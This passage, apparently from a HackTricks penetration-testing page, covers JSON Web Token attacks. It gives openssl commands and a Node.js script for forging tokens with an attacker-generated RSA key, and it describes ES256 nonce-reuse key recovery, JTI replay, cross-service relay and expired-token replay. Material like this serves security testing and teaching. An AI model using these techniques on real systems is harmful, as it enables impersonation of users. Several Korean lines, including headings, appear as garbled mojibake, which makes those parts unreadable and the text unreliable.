์ƒˆ๋กœ์šด private/public key๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ์ƒˆ๋กœ์šด public key๋ฅผ token ์•ˆ์— ์‚ฝ์ž…ํ•œ ๋‹ค์Œ ์ด๋ฅผ ์‚ฌ์šฉํ•ด ์ƒˆ๋กœ์šด signature๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

๋‹ค์Œ nodejs ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•ด โ€œnโ€œ๊ณผ โ€œeโ€œ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new โ€œnโ€ and โ€œeโ€ values you can use jwt.io to forge a new valid JWT with any information.

ES256: ๋™์ผํ•œ nonce ์‚ฌ์šฉ ์‹œ ๊ฐœ์ธํ‚ค ๊ณต๊ฐœ

If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.

  • A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any userโ€™s account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.

Expiry Check of Tokens

The tokenโ€™s expiry is checked using the โ€œexpโ€ Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another userโ€™s JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the โ€œexpโ€ claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an โ€œexpโ€ claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_toolโ€™s -R flag.

  • A security risk may be present if the application still validates the token, as it may imply that the token could never expire.

Tools

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ